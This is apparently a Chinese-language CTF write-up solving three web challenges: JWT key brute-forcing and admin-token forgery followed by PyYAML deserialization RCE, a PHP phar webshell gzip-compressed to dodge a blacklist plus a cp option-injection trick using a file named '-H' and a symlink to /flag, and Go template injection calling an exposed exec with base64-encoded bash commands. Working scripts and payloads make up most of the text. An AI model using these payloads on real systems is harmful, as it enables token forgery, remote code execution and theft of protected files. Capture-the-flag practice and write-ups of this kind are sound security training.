EZPython
信息收集
同步抓包打开,题目链接. 发现除了访问根目录,还有一个路由 /auth.
查看auth路由包,是当前账户的jwt信息,
在首页上传位置,任意上传文件发现提示 只有admin用户有权限.
那就是需要进行jwt攻击了.
jwt攻击
扫描目录 没有发现其他信息,没找到jwt_key.
只好尝试使用 jwt算法置空攻击. 就是jwt头改为{"alg":"none"},然后去掉签名部分.
run,没有成功,但是看到了给的 hint: 给了 jwt_key, 缺了两位.
因为只缺少两位,可以直接拿着自己jwt去爆破拿到密钥.
爆破jwt_key:
import jwt
import stringtoken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" # 替换为你要解码的 JWTbase_key = "@o70xO$0%#qR9#" #替换为你的秘钥的已知部分
charset = string.ascii_letters + string.digits # a-zA-Z0-9for c1 in charset:for c2 in charset:key = base_key + c1 + c2try:decoded = jwt.decode(token, key, algorithms=["HS256"])print(f"✅ Success with key: {key}")print(decoded)exit(0)except jwt.InvalidSignatureError:continueexcept Exception as e:passprint("❌ No valid key found.")
运行得到jwt_key.
✅ Success with key: @o70xO$0%#qR9#m0{'username': 'guest', 'role': 'user'}
伪造管理员jwt
拿到key,就正常伪造.
import jwt
import datetime# 自定义 payload
payload = {"username": "guest","role": "admin",
}# 密钥
secret_key = "@o70xO$0%#qR9#m0"# 生成 JWT(使用 HS256 算法)
token = jwt.encode(payload, secret_key, algorithm="HS256")print("🔐 生成的 JWT Token:")
print(token)
拿到admin的jwt
🔐 生成的 JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU
伪造身份完成.
yaml反序列化
题目能上传并执行两种格式的文件, python 和 yaml.
python尝试了一下,黑名单很多,常见的基本上都被ban了.
后来,使用yaml反序列化成功rce,基本上没有什么waf.
关于yaml详细的大家可以搜索 "python yaml反序列化 漏洞",了解更多.
payload
# 里边换成你要执行的命令. 注意 命令和参数使用 , 隔开.
!!python/object/apply:subprocess.check_output [[ls,/]] #看到flag的名字!!python/object/apply:subprocess.check_output [[cat,/f1111ag]]
easy_readfile
信息收集
php反序列化做入口.
虽然有长度限制,但是还是可以直接进行写文件和读文件.
读/写文件 pop
#做 POST[1]参数值 O:7:"Acheron":1:{s:4:"mode";s:1:"r";} #读文件时使用
O:7:"Acheron":1:{s:4:"mode";s:1:"W";} #写文件时使用
直接读取/flag, 通过报错,发现 权限不足.
常规的LFI rce方法,大多行不通. 例如 包含日志文件等 都提示权限不足.
那就必须要实现rce了,根据经验可能是存在sh脚本,运行之后拿到flag.
乍一看是一道 php反序列化题, 因为初始传入的$_POST[0]有长度限制,所以可以通过phar文件来执行后序的pop链实现RCE. 而黑名单可以通过gz压缩来绕过.
但其实可以 直接通过在phar文件开头写入 要执行php代码即可.
RCE
生成phar文件
<?php
class Coral{public $pivot;
}@unlink("test.phar");#任意 创建一个对象即可,不要找有析构这些会有后续动作的对象. 只做填充作用
$a = new Coral;
echo serialize($a);$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php system(\$_POST[4]); __HALT_COMPILER(); ?>"); #写入webshell
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
通过gz压缩绕过黑名单
import urllib.parse
import gzip
with open('test.phar', 'rb') as file:f = file.read()data = gzip.compress(f)
url_data = urllib.parse.quote(data)
print(url_data) #因为要传文件,所以url编码一下
生成的phar
%1F%8B%08%00%0C%EF%BFh%02%FF%B3%B1/%C8%28P%28%AE%2C.I%CD%D5P%89%0F%F0%0F%0E%896%89%D5%B4VP%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%00%8A%D9%DB%F1r%850000%02%B1%20%94f%60%90%03b%7F%2BS%2B%25%E7%FC%A2%C4%1C%25%2BC%AB%EAb%10%B7%20%B3%2C%BFD%C9%DA%CF%BA%96%03%A8%A2%24%B5%B8D%AF%A4%A2%84%05%C8f%7D%BF%3F%03D%F3%D4%D5%DF%D8%061%04%2C%7F%96%B1%B0H%E3%8A%A0%E6%C9k3%2B%14%B4v%A9%E9K1%BE%9F%AA%9A%2C%94%C7%15p%AD%DF5%F5-3P%9D%BB%93%AF%13%00%BEm%8D%02%B5%00%00%00
上传内容
POST参数1=O:7:"Acheron":1:{s:4:"mode";s:1:"W";}&0=%1F%8B%08%00%0C%EF%BFh%02%FF%B3%B1/%C8%28P%28%AE%2C.I%CD%D5P%89%0F%F0%0F%0E%896%89%D5%B4VP%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%00%8A%D9%DB%F1r%850000%02%B1%20%94f%60%90%03b%7F%2BS%2B%25%E7%FC%A2%C4%1C%25%2BC%AB%EAb%10%B7%20%B3%2C%BFD%C9%DA%CF%BA%96%03%A8%A2%24%B5%B8D%AF%A4%A2%84%05%C8f%7D%BF%3F%03D%F3%D4%D5%DF%D8%061%04%2C%7F%96%B1%B0H%E3%8A%A0%E6%C9k3%2B%14%B4v%A9%E9K1%BE%9F%AA%9A%2C%94%C7%15p%AD%DF5%F5-3P%9D%BB%93%AF%13%00%BEm%8D%02%B5%00%00%00
得到文件路径
成功实现命令执行
绕过权限读/flag
因为权限问题不能直接读/flag.
在根目录下找到 run.sh脚本
脚本内容
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10
这个脚本会每隔10秒中,把/var/www/html/ 目录下的文件,复制一份到 /var/www/html/backup/ 中,并且权限设置为 755. 是可读权限.
我们可以利用这个脚本,因为对flag没有权限,所以我们不能直接把它复制到/var/www/html/ 目录下,但是我们可以创建一个 它的链接(类似快捷方式)的文件.
但是 脚本中的cp 执行 是 -P参数, 不跟随链接, 就是只会把快捷方式复制过去,而不是指向的flag的内容.我们还是看不到.
前置知识
cp指令参数
选项 | 名称/含义 | 对命令行参数中的符号链接 | 对目录内部的符号链接 | 备注 |
---|---|---|---|---|
-P |
不跟随 (Preserve link) | 复制链接本身 | 复制链接本身 | 通常是默认行为 |
-H |
仅命令行跟随 | 复制链接指向的目标 | 复制链接本身 | 只对直接列出的源起作用 |
-L |
总是跟随 (Follow link) | 复制链接指向的目标 | 复制链接指向的目标 | 与 -P 行为完全相反 |
cp -P * /var/www/html/backup/
*
的解析规则(Shell Globbing)
- Shell 会列出当前目录下所有非隐藏文件和目录(即不以
.
开头的)。 - 然后按字母顺序排序,生成一个文件名列表。
- 最后,把
*
替换成这个列表,再执行cp
命令。
如果当前目录有:
a.txt
b.txt
file.txt就会解析成
cp -P a.txt b.txt file.txt /var/www/html/backup/
如果文件名是 -
开头会发生什么?
➤ 灾难性后果:文件名被当作命令行选项解析!
根据linux系统命令参数的后来者胜出原则,我们在 -P 后边添加 -H 就会实现跟随链接复制了.
所以,我们可以创建一个名字为 -H
或者 -L
的文件,然后再创建 /flag的链接,就可以复制flag的内容了.
touch -- -H
ln -s /flag flag
cat /backup/flag
SSTI
一道经典的go语言 SSTI 注入题目.因为go语言模板注入比较少.所以刚开始如果用平常的方法 {{7*7}},可能测不出来.
go语言注入详细大家自行查资料.
这道题的解题思路:
输出传入模板函数元素本身,也是ssti可以调用的根对象
{{.}} #输出
map[B64Decode:0x6ee380 exec:0x6ee120]
直接拿到可以rce的函数,因为有base64,可能是有waf,所以用编码绕过
rce
先把exec要执行的内容base64编码,然后传入
{{ exec(B64Decode "")}} #"" 中放base编码后的命令YmFzaCAtYyAnbHMgLyc= #bash -c 'ls /'
YmFzaCAtYyAnY2F0IC9mbGFnJw== #bash -c 'cat /flag'{{ exec(B64Decode "YmFzaCAtYyAnY2F0IC9mbGFnJw==")}} #拿到flag